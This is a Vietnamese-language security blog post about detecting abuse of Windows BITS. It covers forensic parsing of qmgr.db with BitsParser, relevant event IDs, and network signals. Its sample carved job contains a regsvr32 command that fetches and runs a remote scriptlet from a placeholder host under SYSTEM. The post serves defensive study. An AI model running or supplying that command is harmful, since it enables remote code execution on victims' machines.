Mục lục
BITS (Background Intelligent Transfer Service)
BITS là dịch vụ chạy nền (background service) của Windows, nó được thiết kế để thực hiện các nhiệm vụ Download hoặc upload theo cách “thông minh” để không làm ảnh hưởng đến trải nghiệm của người dùng.

Sự thông minh này được hiểu là Windows sẽ xác định máy tính của bạn khi nào đang nhàn rỗi, không sinh ra quá nhiều băng thông mạng. Khi đó mới kích hoạt các ứng dụng sử dụng nhiều băng thông mạng như Windows Update, Microsoft Defender cập nhật Signature, OneDrive hoặc Office sử dụng để đồng bộ dữ liệu. Đặc điểm chính của BITS:
- Chạy background
- Resume download nếu bị gián đoạn (mất mạng, reboot)
- Quản lý hàng đợi (queue) các job tải
- Có thể chạy dưới SYSTEM context hoặc user context
- Hỗ trợ các giao thức:
- HTTP
- HTTPS
- SMB

BITS không tải file ngay lập tức như curl hay Invoke-WebRequest. Thay vào đó, nó hoạt động theo mô hình job-based:
- Bước 1: Ứng dụng sẽ yêu cầu hoặc tạo BITS jobs
- Bước 2: Job này sẽ được đưa vào hàng đợi của BITS
- Bước 3: BITS sẽ quyết định khi nào tải, tải bao nhiêu, lúc nào sẽ tạm dừng và tiếp tục
- Bước 4: Khi hoàn thành, Job này có thể ghi ra disk, hoặc thực thi các hành động tiếp theo như gửi notification hoặc chạy một lệnh nào đó.
Bốn bước này hoạt động êm ru, hợp pháp vì nó là chức năng của Microsoft.Do đó, trong các giai đoạn post-exploitation, lateral movement và persistence, BITS là một “vũ khí hợp pháp” cực kỳ hấp dẫn. Các malware có thể tận dụng luôn việc này để thực hiện đánh cắp dữ liệu để gửi ra ngoài hoặc thực hiện các kết nối C2.
Hữu ích trong Digital Forensics
Khi BITS thực hiện các tác vụ download / upload, metadata của job sẽ được ghi lại trong database nằm ở đường dẫn C:\ProgramData\Microsoft\Network\Downloader\qmgr.db
Cơ sở dữ liệu này chính là một dạng SQLite Format (Microsoft có điều chỉnh lại một chút). Lưu lại các thông tin metadata của job. Điều này khiến qmgr.db trở thành artifact cực kỳ giá trị trong DFIR trong việc xác định thời điểm máy tính bị compomise, truy ngược hành vi tải file của Attacker, phát hiện C2. Dưới đây là các thông tin mà bạn có thể thực hiện extract từ cơ sở dữ liệu kia.
- Danh sách job tải xuống / tải lên
- URL mục tiêu (Remote URL)
- Local Path nơi lưu file
- Thời gian tạo job (timestamp)
- Tiến trình tạo job
- Owner của job
- Các chunk download
- Metadata khác phục vụ resume/queue
Để phân tích file qmgr.db, bạn sử dụng công cụ forensic chuyên dụng như BitsParser do FireEye (nay là Mandiant / Google) phát triển, dùng để phân tích cơ sở dữ liệu BITS (qmgr.db) trên Windows. Công cụ này được viết bằng Python3, nên chúng ta cần chuẩn bị môi trường phù hợp.
python BitsParser.py -i "C:\ProgramData\Microsoft\Network\Downloader\qmgr.db" -o result.csv --carvedb --carveallNội dung Job sau khi được extract từ BitsParser sẽ có nội dung kiểu như sau
{
"Carved": true,
"JobType": "download",
"JobPriority": "normal",
"JobState": "queued",
"JobId": "779b678b-9ef3-41ea-bc10-d4c7e35520f4",
"JobName": "MicrosoftEdgeUpdateTaskMachineCore",
"CommandExecuted": "C:\\Windows\\System32\\cmd.exe",
"CommandArguments": "/c regsvr32 /s /n /u /i:http://exampl.eomc/N572Pg.sct scrobj.dll",
"OwnerSID": "S-1-5-18",
"Owner": "NT AUTHORITY\\SYSTEM",
"CreationTime": "2025-07-19T08:26:09Z",
"ModifiedTime": "2025-07-19T08:26:09Z"
}Phát hiện hành vi từ góc nhìn SOC
Khi bạn phải quan sát một lượng lớn logs, event trong các giải pháp SIEM. Để xác định các hành vi liên quan tới BITS, bạn có thể thử nghiên cứu hành vi quan sát sau đây.
Góc nhìn từ Process
Khi thực hiện tải file, kiểu gì dịch vụ BITS cũng phải kích hoạt. Nói cách khác, các process liên quan tới BITS (bitsadmin.exe) phải được tạo ra. Nếu có Sysmon Logs, hãy filter với Event ID = 1 (Process Creation)
Góc nhìn từ Windows Event Logs
Nếu attacker cao tay hơn không dùng trực tiếp bitsadmin.exe, hắn dùng COM Project hoặc Powershell API. Việc này sẽ không thể xác định qua Process Creation được. Chúng ta sẽ quan sát các Event ID sau trong log Microsoft-Windows-Bits-Client/Operational
- Event ID = 3: BITS Job created
- Event ID = 4: BITS Job Completed (ByteTransferred values is the size the download file)
- Event ID = 59: BITS Job Failed (ByteTransferred value is zero)
- Event ID = 60: BITS Job Modified
- Event ID = 164: Job Resume

Sau khi filter được các event cần thiết, bạn tiếp tục quan sát các trường thông tin như JobId, Owner, RemoteUrl, LocalName, LocalPath, ProcessId, UserContext
Góc nhìn Network IDS
Nếu bạn không có Event Logs, hãy để ý tới các User-Agent Microsoft BITS/x.x được sử dụng bởi BITS để thực hiện download hoặc upload qua giao thức HTTP.
Cũng theo một số nghiên cứu từ SANS, chức năng Upload bằng BITS chỉ hoạt động đúng khi server target là IIS và có BITS Server Extensions. Điều này có nghĩa, nếu thấy attacker upload trơn tru, chúng ta có thể đặt nghie vấn attacker đang dùng hạ tầng Windows và Web Server IIS.
Cũng từ nghiên cứu này, BITS thường có hành vi gửi HEAD Request tới máy chủ mục tiêu để lấy size của file cần tải. Sau đó với thực hiện GET Request để tải file. Điều này cũng dễ hiểu, BITS có thể dẽ dàng phân chia thời gian và chunk việc tải file sao cho hợp lý.
Nên nếu phải quan sát hành vi bất thường thì ngoài “User-Agent”, pattern HEAD → GET(s) lặp lại + nhiều GET theo range/time là tín hiệu để đi bắt BITS.





What do you think?
It is nice to know your opinion. Leave a comment.